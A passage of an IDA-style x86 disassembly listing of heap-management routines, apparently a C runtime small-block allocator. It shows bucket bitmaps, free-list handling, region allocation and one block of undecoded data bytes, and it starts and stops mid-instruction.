short loc_41ACA5 loc_41ACB3: ; CODE XREF: ___:0041ACA3j push 0Ah push ebx push eax call sub_41881C add esp, 0Ch cmp eax, 2 jz short loc_41ACE1 cmp eax, 3 jz short loc_41ACE1 cmp eax, 1 jz short loc_41ACE1 loc_41ACCE: ; CODE XREF: ___:0041ABF8j ; ___:0041AC8Ej ... lea eax, [ebp-4] push eax call sub_41AB6F cmp byte ptr [ebp-4], 6 pop ecx sbb eax, eax add eax, 3 loc_41ACE1: ; CODE XREF: ___:0041ABDAj ; ___:0041ACC2j ... pop ebx leave retn ; --------------------------------------------------------------------------- dd 6AC033h, 8244439h, 100068h, 0C0940F00h, 0CCE89050h dd 85024654h, 0F024A3C0h, 3674004Ch, 0FFFE93E8h, 3F883FFh dd 4CF028A3h, 680D7500h, 3F8h, 24E8h, 0AEB5900h, 7502F883h dd 0B5EE818h, 0C0850000h, 35FF0F75h, 4CF024h, 4652C7E8h dd 0C0339002h, 58016AC3h, 14068C3h, 6A0000h, 0F02435FFh dd 0ADE8004Ch, 90023152h, 1CA3C085h, 75004CF0h, 4C8BC301h dd 25830424h, 4CF014h, 18258300h, 4CF0h, 10A3016Ah, 89004CF0h dd 4CF0200Dh, 805C700h, 10004CF0h, 58000000h ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_41AD89 proc near ; CODE XREF: sub_417C3B+17p ; sub_41944F+4Cp ... arg_0 = dword ptr 4 mov eax, dword_4CF018 lea ecx, [eax+eax*4] mov eax, dword_4CF01C lea ecx, [eax+ecx*4] loc_41AD99: ; CODE XREF: sub_41AD89+26j cmp eax, ecx jnb short loc_41ADB1 mov edx, [esp+arg_0] sub edx, [eax+0Ch] cmp edx, 100000h jb short locret_41ADB3 add eax, 14h jmp short loc_41AD99 ; --------------------------------------------------------------------------- loc_41ADB1: ; CODE XREF: sub_41AD89+12j xor eax, eax locret_41ADB3: ; CODE XREF: sub_41AD89+21j retn sub_41AD89 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ADB4 proc near ; CODE XREF: sub_417C3B+23p ; sub_41944F+A4p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h mov ecx, [ebp+arg_0] push ebx push esi mov esi, [ebp+arg_4] mov eax, [ecx+10h] push edi mov edi, esi add esi, 0FFFFFFFCh sub edi, [ecx+0Ch] shr edi, 0Fh mov ecx, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_10], ecx mov ecx, [esi] dec ecx test cl, 1 mov [ebp+var_4], ecx jnz loc_41B0D8 mov edx, [ecx+esi] lea ebx, [ecx+esi] mov [ebp+var_C], edx mov edx, [esi-4] mov [ebp+var_8], edx mov edx, [ebp+var_C] test dl, 1 mov [ebp+arg_4], ebx jnz short loc_41AE8A sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_41AE18 push 3Fh pop edx loc_41AE18: ; CODE XREF: sub_41ADB4+5Fj mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_41AE6C cmp edx, 20h jnb short loc_41AE43 mov ebx, 80000000h mov ecx, edx shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+44h], ebx dec byte ptr [ecx] jnz short loc_41AE64 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41AE64 ; --------------------------------------------------------------------------- loc_41AE43: ; CODE XREF: sub_41ADB4+6Fj lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41AE64 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41AE64: ; CODE XREF: sub_41ADB4+86j ; sub_41ADB4+8Dj ... mov ecx, [ebp+var_4] mov ebx, [ebp+arg_4] jmp short loc_41AE6F ; --------------------------------------------------------------------------- loc_41AE6C: ; CODE XREF: sub_41ADB4+6Aj mov ecx, [ebp+var_4] loc_41AE6F: ; CODE XREF: sub_41ADB4+B6j mov edx, [ebx+8] mov ebx, [ebx+4] add ecx, [ebp+var_C] mov [edx+4], ebx mov edx, [ebp+arg_4] mov [ebp+var_4], ecx mov ebx, [edx+4] mov edx, [edx+8] mov [ebx+8], edx loc_41AE8A: ; CODE XREF: sub_41ADB4+56j mov edx, ecx sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_41AE98 push 3Fh pop edx loc_41AE98: ; CODE XREF: sub_41ADB4+DFj mov ebx, [ebp+var_8] and ebx, 1 mov [ebp+var_C], ebx jnz loc_41AF3B sub esi, [ebp+var_8] mov ebx, [ebp+var_8] sar ebx, 4 push 3Fh mov [ebp+arg_4], esi dec ebx pop esi cmp ebx, esi jbe short loc_41AEBD mov ebx, esi loc_41AEBD: ; CODE XREF: sub_41ADB4+105j add ecx, [ebp+var_8] mov edx, ecx mov [ebp+var_4], ecx sar edx, 4 dec edx cmp edx, esi jbe short loc_41AECF mov edx, esi loc_41AECF: ; CODE XREF: sub_41ADB4+117j cmp ebx, edx jz short loc_41AF36 mov ecx, [ebp+arg_4] mov esi, [ecx+4] cmp esi, [ecx+8] jnz short loc_41AF1E cmp ebx, 20h jnb short loc_41AEFF mov esi, 80000000h mov ecx, ebx shr esi, cl not esi and [eax+edi*4+44h], esi dec byte ptr [ebx+eax+4] jnz short loc_41AF1E mov ecx, [ebp+arg_0] and [ecx], esi jmp short loc_41AF1E ; --------------------------------------------------------------------------- loc_41AEFF: ; CODE XREF: sub_41ADB4+12Dj lea ecx, [ebx-20h] mov esi, 80000000h shr esi, cl not esi and [eax+edi*4+0C4h], esi dec byte ptr [ebx+eax+4] jnz short loc_41AF1E mov ecx, [ebp+arg_0] and [ecx+4], esi loc_41AF1E: ; CODE XREF: sub_41ADB4+128j ; sub_41ADB4+142j ... mov ecx, [ebp+arg_4] mov esi, [ecx+8] mov ecx, [ecx+4] mov [esi+4], ecx mov ecx, [ebp+arg_4] mov esi, [ecx+4] mov ecx, [ecx+8] mov [esi+8], ecx loc_41AF36: ; CODE XREF: sub_41ADB4+11Dj mov esi, [ebp+arg_4] jmp short loc_41AF3E ; --------------------------------------------------------------------------- loc_41AF3B: ; CODE XREF: sub_41ADB4+EDj mov ebx, [ebp+arg_0] loc_41AF3E: ; CODE XREF: sub_41ADB4+185j cmp [ebp+var_C], 0 jnz short loc_41AF4C cmp ebx, edx jz loc_41AFCD loc_41AF4C: ; CODE XREF: sub_41ADB4+18Ej mov ecx, [ebp+var_10] mov ebx, [ecx+edx*8+4] lea ecx, [ecx+edx*8] mov [esi+4], ebx mov [esi+8], ecx mov [ecx+4], esi mov ecx, [esi+4] mov [ecx+8], esi mov ecx, [esi+4] cmp ecx, [esi+8] jnz short loc_41AFCD mov cl, [edx+eax+4] cmp edx, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [edx+eax+4], cl jnb short loc_41AFA4 cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41AF93 mov ebx, 80000000h mov ecx, edx shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_41AF93: ; CODE XREF: sub_41ADB4+1CFj mov ebx, 80000000h mov ecx, edx shr ebx, cl lea eax, [eax+edi*4+44h] or [eax], ebx jmp short loc_41AFCD ; --------------------------------------------------------------------------- loc_41AFA4: ; CODE XREF: sub_41ADB4+1C9j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41AFBA lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_41AFBA: ; CODE XREF: sub_41ADB4+1F4j lea ecx, [edx-20h] mov edx, 80000000h shr edx, cl lea eax, [eax+edi*4+0C4h] or [eax], edx loc_41AFCD: ; CODE XREF: sub_41ADB4+192j ; sub_41ADB4+1B7j ... mov eax, [ebp+var_4] mov [esi], eax mov [eax+esi-4], eax mov eax, [ebp+var_10] dec dword ptr [eax] jnz loc_41B0D8 mov eax, dword_4CF014 test eax, eax jz loc_41B0CA mov ecx, dword_4CF00C mov esi, dword_4241B0 shl ecx, 0Fh add ecx, [eax+0Ch] mov ebx, 8000h push 4000h push ebx push ecx call esi mov ecx, dword_4CF00C mov eax, dword_4CF014 mov edx, 80000000h shr edx, cl or [eax+8], edx mov eax, dword_4CF014 mov ecx, dword_4CF00C mov eax, [eax+10h] and dword ptr [eax+ecx*4+0C4h], 0 mov eax, dword_4CF014 mov eax, [eax+10h] dec byte ptr [eax+43h] mov eax, dword_4CF014 mov ecx, [eax+10h] cmp byte ptr [ecx+43h], 0 jnz short loc_41B05B and dword ptr [eax+4], 0FFFFFFFEh mov eax, dword_4CF014 loc_41B05B: ; CODE XREF: sub_41ADB4+29Cj cmp dword ptr [eax+8], 0FFFFFFFFh jnz short loc_41B0CA push ebx push 0 push dword ptr [eax+0Ch] call esi mov eax, dword_4CF014 push dword ptr [eax+10h] push 0 push dword_4CF024 call near ptr 2720363h nop mov eax, dword_4CF018 mov edx, dword_4CF01C lea eax, [eax+eax*4] shl eax, 2 mov ecx, eax mov eax, dword_4CF014 sub ecx, eax lea ecx, [ecx+edx-14h] push ecx lea ecx, [eax+14h] push ecx push eax call sub_4182C0 mov eax, [ebp+arg_0] add esp, 0Ch dec dword_4CF018 cmp eax, dword_4CF014 jbe short loc_41B0C0 sub [ebp+arg_0], 14h loc_41B0C0: ; CODE XREF: sub_41ADB4+306j mov eax, dword_4CF01C mov dword_4CF010, eax loc_41B0CA: ; CODE XREF: sub_41ADB4+234j ; sub_41ADB4+2ABj mov eax, [ebp+arg_0] mov dword_4CF00C, edi mov dword_4CF014, eax loc_41B0D8: ; CODE XREF: sub_41ADB4+38j ; sub_41ADB4+227j pop edi pop esi pop ebx leave retn sub_41ADB4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B0DD proc near ; CODE XREF: sub_417BC7+18p ; sub_41944F+77p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h mov eax, dword_4CF018 mov edx, dword_4CF01C push ebx push esi lea eax, [eax+eax*4] push edi lea edi, [edx+eax*4] mov eax, [ebp+arg_0] mov [ebp+var_4], edi lea ecx, [eax+17h] and ecx, 0FFFFFFF0h mov [ebp+var_10], ecx sar ecx, 4 dec ecx cmp ecx, 20h jge short loc_41B11D or esi, 0FFFFFFFFh shr esi, cl or [ebp+var_8], 0FFFFFFFFh mov [ebp+var_C], esi jmp short loc_41B12D ; --------------------------------------------------------------------------- loc_41B11D: ; CODE XREF: sub_41B0DD+30j add ecx, 0FFFFFFE0h or eax, 0FFFFFFFFh xor esi, esi shr eax, cl mov [ebp+var_C], esi mov [ebp+var_8], eax loc_41B12D: ; CODE XREF: sub_41B0DD+3Ej mov eax, dword_4CF010 mov ebx, eax cmp ebx, edi mov [ebp+arg_0], ebx jnb short loc_41B154 loc_41B13B: ; CODE XREF: sub_41B0DD+75j mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41B154 add ebx, 14h cmp ebx, [ebp+var_4] mov [ebp+arg_0], ebx jb short loc_41B13B loc_41B154: ; CODE XREF: sub_41B0DD+5Cj ; sub_41B0DD+6Aj cmp ebx, [ebp+var_4] jnz short loc_41B1D2 mov ebx, edx loc_41B15B: ; CODE XREF: sub_41B0DD+96j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_41B177 mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41B175 add ebx, 14h jmp short loc_41B15B ; --------------------------------------------------------------------------- loc_41B175: ; CODE XREF: sub_41B0DD+91j cmp ebx, eax loc_41B177: ; CODE XREF: sub_41B0DD+83j jnz short loc_41B1D2 loc_41B179: ; CODE XREF: sub_41B0DD+ADj cmp ebx, [ebp+var_4] jnb short loc_41B18F cmp dword ptr [ebx+8], 0 jnz short loc_41B18C add ebx, 14h mov [ebp+arg_0], ebx jmp short loc_41B179 ; --------------------------------------------------------------------------- loc_41B18C: ; CODE XREF: sub_41B0DD+A5j cmp ebx, [ebp+var_4] loc_41B18F: ; CODE XREF: sub_41B0DD+9Fj jnz short loc_41B1B7 mov ebx, edx loc_41B193: ; CODE XREF: sub_41B0DD+C6j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_41B1A7 cmp dword ptr [ebx+8], 0 jnz short loc_41B1A5 add ebx, 14h jmp short loc_41B193 ; --------------------------------------------------------------------------- loc_41B1A5: ; CODE XREF: sub_41B0DD+C1j cmp ebx, eax loc_41B1A7: ; CODE XREF: sub_41B0DD+BBj jnz short loc_41B1B7 call sub_41B3E6 mov ebx, eax test ebx, ebx mov [ebp+arg_0], ebx jz short loc_41B1CB loc_41B1B7: ; CODE XREF: sub_41B0DD:loc_41B18Fj ; sub_41B0DD:loc_41B1A7j push ebx call sub_41B497 pop ecx mov ecx, [ebx+10h] mov [ecx], eax mov eax, [ebx+10h] cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_41B1D2 loc_41B1CB: ; CODE XREF: sub_41B0DD+D8j xor eax, eax jmp loc_41B3E1 ; --------------------------------------------------------------------------- loc_41B1D2: ; CODE XREF: sub_41B0DD+7Aj ; sub_41B0DD:loc_41B177j ... mov dword_4CF010, ebx mov eax, [ebx+10h] mov edx, [eax] cmp edx, 0FFFFFFFFh mov [ebp+var_4], edx jz short loc_41B1F9 mov ecx, [eax+edx*4+0C4h] mov edi, [eax+edx*4+44h] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41B230 loc_41B1F9: ; CODE XREF: sub_41B0DD+106j mov edx, [eax+0C4h] mov esi, [eax+44h] and edx, [ebp+var_8] and esi, [ebp+var_C] and [ebp+var_4], 0 lea ecx, [eax+44h] or edx, esi mov esi, [ebp+var_C] jnz short loc_41B22D loc_41B216: ; CODE XREF: sub_41B0DD+14Ej mov edx, [ecx+84h] inc [ebp+var_4] and edx, [ebp+var_8] add ecx, 4 mov edi, esi and edi, [ecx] or edx, edi jz short loc_41B216 loc_41B22D: ; CODE XREF: sub_41B0DD+137j mov edx, [ebp+var_4] loc_41B230: ; CODE XREF: sub_41B0DD+11Aj mov ecx, edx xor edi, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [eax+edx*4+44h] and ecx, esi jnz short loc_41B259 mov ecx, [eax+edx*4+0C4h] push 20h and ecx, [ebp+var_8] pop edi loc_41B259: ; CODE XREF: sub_41B0DD+16Dj ; sub_41B0DD+183j test ecx, ecx jl short loc_41B262 shl ecx, 1 inc edi jmp short loc_41B259 ; --------------------------------------------------------------------------- loc_41B262: ; CODE XREF: sub_41B0DD+17Ej mov ecx, [ebp+var_C] mov edx, [ecx+edi*8+4] mov ecx, [edx] sub ecx, [ebp+var_10] mov esi, ecx mov [ebp+var_8], ecx sar esi, 4 dec esi cmp esi, 3Fh jle short loc_41B27F push 3Fh pop esi loc_41B27F: ; CODE XREF: sub_41B0DD+19Dj cmp esi, edi jz loc_41B394 mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_41B2F0 cmp edi, 20h jge short loc_41B2BF mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] not ebx mov [ebp+var_14], ebx and ebx, [eax+ecx*4+44h] mov [eax+ecx*4+44h], ebx dec byte ptr [edi] jnz short loc_41B2ED mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx], ecx jmp short loc_41B2F0 ; --------------------------------------------------------------------------- loc_41B2BF: ; CODE XREF: sub_41B0DD+1B5j lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] lea ecx, [eax+ecx*4+0C4h] not ebx and [ecx], ebx dec byte ptr [edi] mov [ebp+var_14], ebx jnz short loc_41B2ED mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx+4], ecx jmp short loc_41B2F0 ; --------------------------------------------------------------------------- loc_41B2ED: ; CODE XREF: sub_41B0DD+1D6j ; sub_41B0DD+203j mov ebx, [ebp+arg_0] loc_41B2F0: ; CODE XREF: sub_41B0DD+1B0j ; sub_41B0DD+1E0j ... mov ecx, [edx+8] mov edi, [edx+4] cmp [ebp+var_8], 0 mov [ecx+4], edi mov ecx, [edx+4] mov edi, [edx+8] mov [ecx+8], edi jz loc_41B3A0 mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [edx+4], edi mov [edx+8], ecx mov [ecx+4], edx mov ecx, [edx+4] mov [ecx+8], edx mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_41B391 mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_0+3], cl jge short loc_41B362 inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_41B350 mov edi, 80000000h mov ecx, esi shr edi, cl or [ebx], edi loc_41B350: ; CODE XREF: sub_41B0DD+266j mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+var_4] or [eax+ecx*4+44h], edi jmp short loc_41B391 ; --------------------------------------------------------------------------- loc_41B362: ; CODE XREF: sub_41B0DD+25Aj inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_41B37B lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl or [ebx+4], edi loc_41B37B: ; CODE XREF: sub_41B0DD+28Fj mov ecx, [ebp+var_4] lea edi, [eax+ecx*4+0C4h] lea ecx, [esi-20h] mov esi, 80000000h shr esi, cl or [edi], esi loc_41B391: ; CODE XREF: sub_41B0DD+24Ej ; sub_41B0DD+283j mov ecx, [ebp+var_8] loc_41B394: ; CODE XREF: sub_41B0DD+1A4j test ecx, ecx jz short loc_41B3A3 mov [edx], ecx mov [ecx+edx-4], ecx jmp short loc_41B3A3 ; --------------------------------------------------------------------------- loc_41B3A0: ; CODE XREF: sub_41B0DD+229j mov ecx, [ebp+var_8] loc_41B3A3: ; CODE XREF: sub_41B0DD+2B9j ; sub_41B0DD+2C1j mov esi, [ebp+var_10] add edx, ecx lea ecx, [esi+1] mov [edx], ecx mov [edx+esi-4], ecx mov esi, [ebp+var_C] mov ecx, [esi] test ecx, ecx lea edi, [ecx+1] mov [esi], edi jnz short loc_41B3D9 cmp ebx, dword_4CF014 jnz short loc_41B3D9 mov ecx, [ebp+var_4] cmp ecx, dword_4CF00C jnz short loc_41B3D9 and dword_4CF014, 0 loc_41B3D9: ; CODE XREF: sub_41B0DD+2E0j ; sub_41B0DD+2E8j ... mov ecx, [ebp+var_4] mov [eax], ecx lea eax, [edx+4] loc_41B3E1: ; CODE XREF: sub_41B0DD+F0j pop edi pop esi pop ebx leave retn sub_41B0DD endp ; =============== S U B R O U T I N E ======================================= sub_41B3E6 proc near ; CODE XREF: sub_41B0DD+CCp mov eax, dword_4CF018 mov ecx, dword_4CF008 push esi push edi xor edi, edi cmp eax, ecx jnz short loc_41B429 lea eax, [ecx+ecx*4+50h] shl eax, 2 push eax push dword_4CF01C push edi push dword_4CF024 call near ptr 2850000h nop cmp eax, edi jz short loc_41B479 add dword_4CF008, 10h mov dword_4CF01C, eax mov eax, dword_4CF018 loc_41B429: ; CODE XREF: sub_41B3E6+11j mov ecx, dword_4CF01C push 41C4h push 8 lea eax, [eax+eax*4] push dword_4CF024 lea esi, [ecx+eax*4] call near ptr 2730000h nop cmp eax, edi mov [esi+10h], eax jz short loc_41B479 push 4 push 2000h push 100000h push edi nop call near ptr 2880A5Ch cmp eax, edi mov [esi+0Ch], eax jnz short loc_41B47D push dword ptr [esi+10h] push edi push dword_4CF024 nop call near ptr 2720363h loc_41B479: ; CODE XREF: sub_41B3E6+30j ; sub_41B3E6+67j xor eax, eax jmp short loc_41B494 ; --------------------------------------------------------------------------- loc_41B47D: ; CODE XREF: sub_41B3E6+81j or dword ptr [esi+8], 0FFFFFFFFh mov [esi], edi mov [esi+4], edi inc dword_4CF018 mov eax, [esi+10h] or dword ptr [eax], 0FFFFFFFFh mov eax, esi loc_41B494: ; CODE XREF: sub_41B3E6+95j pop edi pop esi retn sub_41B3E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B497 proc near ; CODE XREF: sub_41B0DD+DBp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] push ebx push esi push edi mov esi, [ecx+10h] mov eax, [ecx+8] xor ebx, ebx loc_41B4A9: ; CODE XREF: sub_41B497+19j test eax, eax jl short loc_41B4B2 shl eax, 1 inc ebx jmp short loc_41B4A9 ; --------------------------------------------------------------------------- loc_41B4B2: ; CODE XREF: sub_41B497+14j mov eax, ebx push 3Fh imul eax, 204h pop edx lea eax, [eax+esi+144h] mov [ebp+var_4], eax loc_41B4C7: ; CODE XREF: sub_41B497+3Aj mov [eax+8], eax mov [eax+4], eax add eax, 8 dec edx jnz short loc_41B4C7 mov edi, ebx push 4 shl edi, 0Fh add edi, [ecx+0Ch] push 1000h push 8000h push edi nop call near ptr 2880A5Ch test eax, eax jnz short loc_41B4FA or eax, 0FFFFFFFFh jmp loc_41B58D ; --------------------------------------------------------------------------- loc_41B4FA: ; CODE XREF: sub_41B497+59j lea edx, [edi+7000h] cmp edi, edx ja short loc_41B540 lea eax, [edi+10h] loc_41B507: ; CODE XREF: sub_41B497+A7j or dword ptr [eax-8], 0FFFFFFFFh or dword ptr [eax+0FECh], 0FFFFFFFFh lea ecx, [eax+0FFCh] mov dword ptr [eax-4], 0FF0h mov [eax], ecx lea ecx, [eax-1004h] mov [eax+4], ecx mov dword ptr [eax+0FE8h], 0FF0h add eax, 1000h lea ecx, [eax-10h] cmp ecx, edx jbe short loc_41B507 loc_41B540: ; CODE XREF: sub_41B497+6Bj mov eax, [ebp+var_4] lea ecx, [edi+0Ch] add eax, 1F8h push 1 pop edi mov [eax+4], ecx mov [ecx+8], eax lea ecx, [edx+0Ch] mov [eax+8], ecx mov [ecx+4], eax and dword ptr [esi+ebx*4+44h], 0 mov [esi+ebx*4+0C4h], edi mov al, [esi+43h] mov cl, al inc cl test al, al mov eax, [ebp+arg_0] mov [esi+43h], cl jnz short loc_41B57D or [eax+4], edi loc_41B57D: ; CODE XREF: sub_41B497+E1j mov edx, 80000000h mov ecx, ebx shr edx, cl not edx and [eax+8], edx mov eax, ebx loc_41B58D: ; CODE XREF: sub_41B497+5Ej pop edi pop esi pop ebx leave retn sub_41B497 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B592 proc near ; CODE XREF: sub_41944F+6Ap var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov ecx, [ebp+arg_0] mov eax, [ebp+arg_8] push ebx push esi push edi mov edi, [ebp+arg_4] mov edx, edi lea esi, [eax+17h] sub edx, [ecx+0Ch] mov eax, [ecx+10h] and esi, 0FFFFFFF0h shr edx, 0Fh mov ecx, edx imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [edi-4] dec ecx cmp esi, ecx mov [ebp+arg_8], ecx mov ebx, [ecx+edi-4] lea edi, [ecx+edi-4] mov [ebp+var_4], ebx jle loc_41B740 test bl, 1 jnz loc_41B739 add ebx, ecx cmp esi, ebx jg loc_41B739 mov ecx, [ebp+var_4] sar ecx, 4 dec ecx cmp ecx, 3Fh mov [ebp+var_8], ecx jbe short loc_41B609 push 3Fh pop ecx mov [ebp+var_8], ecx loc_41B609: ; CODE XREF: sub_41B592+6Fj mov ebx, [edi+4] cmp ebx, [edi+8] jnz short loc_41B659 cmp ecx, 20h jnb short loc_41B635 mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [ecx] jnz short loc_41B659 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41B659 ; --------------------------------------------------------------------------- loc_41B635: ; CODE XREF: sub_41B592+82j add ecx, 0FFFFFFE0h mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41B659 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41B659: ; CODE XREF: sub_41B592+7Dj ; sub_41B592+9Aj ... mov ecx, [edi+8] mov ebx, [edi+4] mov [ecx+4], ebx mov ecx, [edi+4] mov edi, [edi+8] mov [ecx+8], edi mov ecx, [ebp+arg_8] sub ecx, esi add [ebp+var_4], ecx cmp [ebp+var_4], 0 jle loc_41B727 mov edi, [ebp+var_4] mov ecx, [ebp+arg_4] sar edi, 4 dec edi lea ecx, [ecx+esi-4] cmp edi, 3Fh jbe short loc_41B693 push 3Fh pop edi loc_41B693: ; CODE XREF: sub_41B592+FCj mov ebx, [ebp+var_C] lea ebx, [ebx+edi*8] mov [ebp+arg_8], ebx mov ebx, [ebx+4] mov [ecx+4], ebx mov ebx, [ebp+arg_8] mov [ecx+8], ebx mov [ebx+4], ecx mov ebx, [ecx+4] mov [ebx+8], ecx mov ebx, [ecx+4] cmp ebx, [ecx+8] jnz short loc_41B715 mov cl, [edi+eax+4] cmp edi, 20h mov byte ptr [ebp+arg_8+3], cl inc cl mov [edi+eax+4], cl jnb short loc_41B6EC cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_41B6DF mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_41B6DF: ; CODE XREF: sub_41B592+13Dj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, edi jmp short loc_41B711 ; --------------------------------------------------------------------------- loc_41B6EC: ; CODE XREF: sub_41B592+137j cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_41B702 lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_41B702: ; CODE XREF: sub_41B592+15Ej lea eax, [eax+edx*4+0C4h] lea ecx, [edi-20h] mov edx, 80000000h loc_41B711: ; CODE XREF: sub_41B592+158j shr edx, cl or [eax], edx loc_41B715: ; CODE XREF: sub_41B592+125j mov edx, [ebp+arg_4] mov ecx, [ebp+var_4] lea eax, [edx+esi-4] mov [eax], ecx mov [ecx+eax-4], ecx jmp short loc_41B72A ; --------------------------------------------------------------------------- loc_41B727: ; CODE XREF: sub_41B592+E5j mov edx, [ebp+arg_4] loc_41B72A: ; CODE XREF: sub_41B592+193j lea eax, [esi+1] mov [edx-4], eax mov [edx+esi-8], eax jmp loc_41B880 ; --------------------------------------------------------------------------- loc_41B739: ; CODE XREF: sub_41B592+52j ; sub_41B592+5Cj xor eax, eax jmp loc_41B883 ; --------------------------------------------------------------------------- loc_41B740: ; CODE XREF: sub_41B592+49j jge loc_41B880 mov ebx, [ebp+arg_4] sub [ebp+arg_8], esi lea ecx, [esi+1] mov [ebx-4], ecx lea ebx, [ebx+esi-4] mov esi, [ebp+arg_8] mov [ebp+arg_4], ebx sar esi, 4 dec esi mov [ebx-4], ecx cmp esi, 3Fh jbe short loc_41B76B push 3Fh pop esi loc_41B76B: ; CODE XREF: sub_41B592+1D4j test byte ptr [ebp+var_4], 1 jnz loc_41B7FA mov esi, [ebp+var_4] sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_41B784 push 3Fh pop esi loc_41B784: ; CODE XREF: sub_41B592+1EDj mov ecx, [edi+4] cmp ecx, [edi+8] jnz short loc_41B7D3 cmp esi, 20h jnb short loc_41B7AF mov ebx, 80000000h mov ecx, esi shr ebx, cl lea esi, [esi+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [esi] jnz short loc_41B7D0 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41B7D0 ; --------------------------------------------------------------------------- loc_41B7AF: ; CODE XREF: sub_41B592+1FDj lea ecx, [esi-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [esi+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41B7D0 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41B7D0: ; CODE XREF: sub_41B592+214j ; sub_41B592+21Bj ... mov ebx, [ebp+arg_4] loc_41B7D3: ; CODE XREF: sub_41B592+1F8j mov ecx, [edi+8] mov esi, [edi+4] mov [ecx+4], esi mov ecx, [edi+4] mov esi, [edi+8] mov [ecx+8], esi mov esi, [ebp+arg_8] add esi, [ebp+var_4] mov [ebp+arg_8], esi sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_41B7FA push 3Fh pop esi loc_41B7FA: ; CODE XREF: sub_41B592+1DDj ; sub_41B592+263j mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [ebx+4], edi mov [ebx+8], ecx mov [ecx+4], ebx mov ecx, [ebx+4] mov [ecx+8], ebx mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_41B877 mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [esi+eax+4], cl jnb short loc_41B84E cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41B841 mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+arg_0] or [ecx], edi loc_41B841: ; CODE XREF: sub_41B592+29Fj lea eax, 